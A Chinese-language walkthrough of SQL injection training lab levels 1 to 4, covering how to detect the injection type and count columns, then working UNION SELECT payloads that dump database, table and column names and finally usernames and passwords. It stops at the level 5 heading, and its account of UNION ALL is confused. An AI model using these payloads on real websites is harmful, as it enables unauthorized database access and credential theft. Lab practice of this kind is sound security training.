less-1
首先判断一下是否存在注入(步骤还是要按流程的),在id=1后面直接加 ’ ,看看返回信息。
提示单引号没有闭合,再加一个单引号试试。
返回正常,说明存在注入。接下来判断是数字型还是字符型。
'and ‘1’='1 返回正常。
'and ‘1’='1 返回错误,说明是字符型注入。
接下来判断显示多少列数据,用order by.
3的时候显示正常,4的时候报错,说明只显示了3列数据。(当排序的数据类型和数据库中的数据类型不同时就会显示出来)
接下来开始联合注入,union 联合注入,union 的作用是将两个 sql 语句进行联合。Union 可以从 下面的例子中可以看出,强调一点:union 前后的两个 sql 语句的选择列数要相同才可以。U nion all 与 union 的区别是增加了去重的功能。
当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时, 当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返 回了我们构造的 union 的数据。
爆数据库
构造:id=-1' union select 1,database(),3--+
爆数据表
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security
爆users表的列
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users
爆用户名和密码
?id=-1' union select 1,group_concat(username,":",password),3 from users --+
less-2
和less-1步骤一样,只不过是数字型的sql注入。
爆库:
?id=-1 union select 1,database(),3
爆表
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
爆字段
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
爆数据
?id=-1 union select 1,group_concat(username,":",password),3 from users
less-3
首先加个单引号,
注意报错信息,说明查询语句中加了括号,
加上)即可。
buzho步骤和less-1一样,只不过将单引号’加上一个)。id=-1’)
less-4
发现加单引号没什么用,试试双引号。
这里它意味着,代码当中对 id 参数进行了 “” 和 () 的包装。
加上)–+,
显示正常。
步骤和less-3一样,将单引号改成双引号即可。
less-5